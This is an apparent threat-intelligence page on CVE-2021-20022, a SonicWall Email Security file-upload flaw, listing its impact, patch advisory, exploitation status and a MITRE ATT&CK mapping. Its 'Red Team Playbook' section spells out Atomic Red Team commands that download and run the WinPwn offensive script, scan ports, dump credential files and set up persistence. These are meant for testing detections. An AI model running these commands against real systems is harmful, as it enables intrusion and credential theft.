CVE-2021-20022

HIGH CISA KEV Pub 09/04 Upd 21/10

Overview

This vulnerability is an arbitrary file upload flaw in SonicWall Email Security version 10.0.9.x. The root cause lies in insufficient validation of user-supplied input during the file upload process, allowing authenticated users with elevated privileges to bypass restrictions. The affected component is the file handling mechanism within the web-based management interface of the SonicWall Email Security appliance.

Vulnerability Description

SonicWall Email Security version 10.0.9.x contains a vulnerability that allows a post-authenticated attacker to upload an arbitrary file to the remote host.

Impact

An attacker with valid high-privilege credentials can upload arbitrary files to the SonicWall Email Security appliance, potentially leading to unauthorized code execution or system compromise. This capability allows attackers to implant malicious scripts or binaries, facilitating data exfiltration, persistence, or lateral movement within the network. The prerequisite is possession of an authenticated account with elevated privileges. The business impact includes potential full system compromise and disruption of email security services.

Solution

SonicWall has released security updates addressing this vulnerability in SonicWall Email Security appliance firmware versions beyond 10.0.9.x. Administrators should apply the latest patches as detailed in the SonicWall PSIRT advisory SNWLID-2021-0008 available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0008. The advisory provides specific firmware versions containing the fix and recommends immediate upgrade to these versions to mitigate the risk.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in SonicWall Email Security version 10.0.9.x allows an authenticated attacker to upload arbitrary files to the remote host. This flaw arises from inadequate input validation mechanisms, which fail to properly restrict the types of files that can be uploaded. As a result, an attacker with valid credentials can exploit this vulnerability to upload malicious files, potentially leading to further compromise of the system. The ability to upload arbitrary files can be particularly dangerous, as it may allow for the execution of arbitrary code or the installation of backdoors, thereby facilitating unauthorized access to sensitive data or the broader network.

Exploitation of this vulnerability can occur through several attack vectors. An attacker may gain access to the SonicWall Email Security system by leveraging stolen credentials or exploiting weak authentication mechanisms. Once authenticated, the attacker can upload malicious files, such as web shells or scripts, which can then be executed on the server. This exploitation could lead to a range of malicious activities, including data exfiltration, lateral movement within the network, or the establishment of persistent access points for future attacks. The potential for such exploitation underscores the critical need for robust security measures surrounding authentication and file upload functionalities.

The real-world impact of this vulnerability is significant, particularly for organizations relying on SonicWall Email Security for their email filtering and protection. The ability for an attacker to upload and execute arbitrary files poses a substantial business risk, as it can lead to data breaches, loss of customer trust, and potential regulatory penalties. Furthermore, the exploitation of this vulnerability could result in operational disruptions, as compromised systems may require extensive remediation efforts. The financial implications of such incidents can be severe, encompassing not only direct costs associated with incident response but also long-term reputational damage.

To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify weaknesses in the system before they can be exploited. Additionally, organizations should enforce strict access controls and employ multi-factor authentication to limit the risk of unauthorized access. File upload functionalities should be rigorously validated, ensuring that only permitted file types are accepted, and that uploaded files are scanned for malicious content. Employing intrusion detection systems can also aid in monitoring for suspicious activity related to file uploads and access attempts.

In conclusion, the vulnerability within SonicWall Email Security represents a significant threat to organizations that utilize this product. The potential for authenticated attackers to upload arbitrary files creates a pathway for further exploitation and compromise. By understanding the technical details of the vulnerability, recognizing the various attack vectors, and implementing comprehensive detection and mitigation strategies, organizations can better protect themselves against the risks posed by this and similar vulnerabilities. Proactive security measures and a commitment to ongoing vigilance are essential in safeguarding sensitive data and maintaining the integrity of organizational systems.




CSURFACE threat intelligence has detected a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-20022, rising by over 60% to place this vulnerability in the 97th percentile of predicted exploitation likelihood. This upward adjustment reflects growing confidence in the potential for active exploitation, corroborated by the vulnerability’s inclusion in the Known Exploited Vulnerabilities (KEV) catalog and its confirmed use in ransomware campaigns attributed to the Sinobi group. Although no new exploit techniques or proof-of-concept code have surfaced recently, the elevated EPSS score and sustained ransomware association underscore an intensifying threat environment. For defenders, this signals a heightened urgency to prioritize monitoring and defensive controls around SonicWall Email Security deployments, as the window for opportunistic exploitation is expanding. Consequently, the overall risk posture for this vulnerability has escalated from moderate to high, driven by increased exploitation probability and its proven utility in ransomware operations.

Affected Products (11)

Vendor Product Version CPE
sonicwall Sonicwall Email Security All cpe:2.3:a:sonicwall:email_security:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 9000 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_9000_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 3300 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_3300_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 4300 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_4300_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 8300 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_8300_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 5000 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_5000_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 7000 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_7000_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 5050 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_5050_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Appliance 7050 Firmware All cpe:2.3:o:sonicwall:email_security_appliance_7050_firmware:*:*:*:*:*:*:*:*
sonicwall Sonicwall Email Security Virtual Appliance All cpe:2.3:a:sonicwall:email_security_virtual_appliance:*:*:*:*:*:*:*:*
sonicwall Sonicwall Hosted Email Security All cpe:2.3:a:sonicwall:hosted_email_security:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

5 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-04-05
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

File Upload Vulnerabilities
100% file_upload
Remote Code Execution
55% rce
Path Traversal
45% path_traversal

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-1 Accessing Functionality Not Properly Constrained by ACLs
35%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-20022
psirt.global.sonicwall.com
GitHub CVE x_refsource_CONFIRM
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0008
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-20022